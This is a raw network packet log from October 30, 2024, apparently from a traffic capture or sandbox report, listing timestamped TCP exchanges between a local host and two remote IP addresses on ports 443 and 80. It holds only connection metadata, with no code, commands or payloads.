Oct 30, 2024 18:06:45.218327045 CET	49890	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:45.218369961 CET	443	49890	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.218455076 CET	49890	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:45.218636036 CET	49890	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:45.218652010 CET	443	49890	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.219518900 CET	443	49877	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.219862938 CET	443	49877	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.219961882 CET	49877	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:45.220014095 CET	49877	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:45.220014095 CET	49877	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:45.220038891 CET	443	49877	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.220083952 CET	443	49877	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.222404003 CET	49891	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:45.222444057 CET	443	49891	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.222502947 CET	49891	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:45.222661972 CET	49891	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:45.222667933 CET	443	49891	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.247410059 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.247466087 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.247477055 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.247492075 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.247528076 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.247539043 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.247538090 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.247550964 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.247565031 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.247574091 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.247606039 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.247606993 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.247618914 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.247629881 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.247658014 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.247685909 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.247689962 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.247704029 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.247714996 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.247731924 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.247734070 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.247745991 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.247756958 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.247759104 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.247786999 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.247805119 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.247840881 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.247853041 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.247863054 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.247874975 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.247885942 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.247886896 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.247898102 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.247910976 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.247920990 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.247940063 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.247942924 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.247961044 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.247961998 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.247972012 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.247977972 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.247978926 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.247992992 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.248009920 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.248030901 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.248066902 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248079062 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248090029 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248104095 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248117924 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248120070 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.248158932 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.248188972 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248200893 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248212099 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248220921 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248236895 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.248238087 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248250008 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248254061 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.248261929 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248274088 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248281002 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.248285055 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248287916 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.248298883 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248311043 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.248311043 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248326063 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248342037 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.248349905 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.248380899 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.248389959 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248402119 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248411894 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248423100 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248425961 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.248435974 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248441935 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.248449087 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248460054 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248465061 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.248471975 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248492002 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.248506069 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248516083 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.248517990 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248529911 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248542070 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.248574018 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248586893 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248596907 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248604059 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.248608112 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248620987 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248631001 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.248646021 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.248668909 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.248702049 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248713017 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248724937 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248738050 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248748064 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248748064 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.248759985 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248774052 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248775959 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.248802900 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.248826027 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.248857021 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248867989 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248878956 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248892069 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248900890 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.248905897 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248918056 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248923063 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.248929977 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248941898 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248950958 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.248964071 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248975992 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248976946 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.248987913 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.248999119 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.249015093 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.249023914 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.249030113 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.249049902 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.249058008 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.249061108 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.249073029 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.249079943 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.249088049 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.249097109 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.249109983 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.249115944 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.249115944 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.249134064 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.249147892 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.249368906 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.249381065 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.249391079 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.249403000 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.249417067 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.249422073 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.249455929 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.249469042 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.249492884 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.249537945 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.249547005 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.249557972 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.249583006 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.249592066 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.249598980 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.249610901 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.249645948 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.249659061 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.249680996 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.249699116 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.249710083 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.249722004 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.249727964 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.249732971 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.249752045 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.249768019 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.249794960 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.249805927 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.249815941 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.249829054 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.249839067 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.249842882 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.249852896 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.249866009 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.249960899 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.249969006 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.249973059 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.249989986 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250001907 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250010967 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.250014067 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250031948 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250042915 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.250046015 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250060081 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250070095 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.250071049 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250088930 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.250092030 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250101089 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250106096 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250113010 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250121117 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250122070 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.250127077 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250128984 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250134945 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250157118 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.250186920 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.250219107 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250231981 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250242949 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250266075 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.250288963 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.250363111 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250380039 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250391960 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250402927 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250413895 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.250415087 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250428915 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250432968 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.250442028 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250453949 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250458956 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.250467062 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250474930 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.250478983 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250492096 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250494957 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.250503063 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250515938 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250521898 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.250529051 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250550985 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250555038 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.250576973 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.250585079 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250596046 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250606060 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.250612020 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250617027 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.250638008 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.250648022 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.250790119 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250799894 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250808954 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250818968 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250829935 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250842094 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250845909 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.250854969 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250865936 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250880003 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.250880003 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250889063 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.250893116 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250905037 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250924110 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250926018 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.250936031 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250945091 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250951052 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.250956059 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250967979 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250978947 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250991106 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.250991106 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.250999928 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.251003027 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.251029015 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.251035929 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.251038074 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.251044035 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.251048088 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.251050949 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.251056910 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.251059055 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.251065969 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.251081944 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.251113892 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.251580954 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.251593113 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.251607895 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.251638889 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.251640081 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.251652002 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.251663923 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.251669884 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.251674891 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.251694918 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.251738071 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.251759052 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.251770973 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.251782894 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.251795053 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.251805067 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.251816988 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.251818895 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.251832008 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.251837015 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.251861095 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.251883984 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.251893997 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.251897097 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.251910925 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.251918077 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.251924992 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.251929998 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.251935005 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.251951933 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.251955986 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.251966000 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.251977921 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.251991034 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.251996040 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.251996040 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.251996040 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.252003908 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.252017021 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.252054930 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.252063036 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.252192020 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.252198935 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.252199888 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.252206087 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.252207041 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.252219915 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.252294064 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.252294064 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.252325058 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.252336979 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.252346992 CET	80	49812	185.215.113.206	192.168.2.5
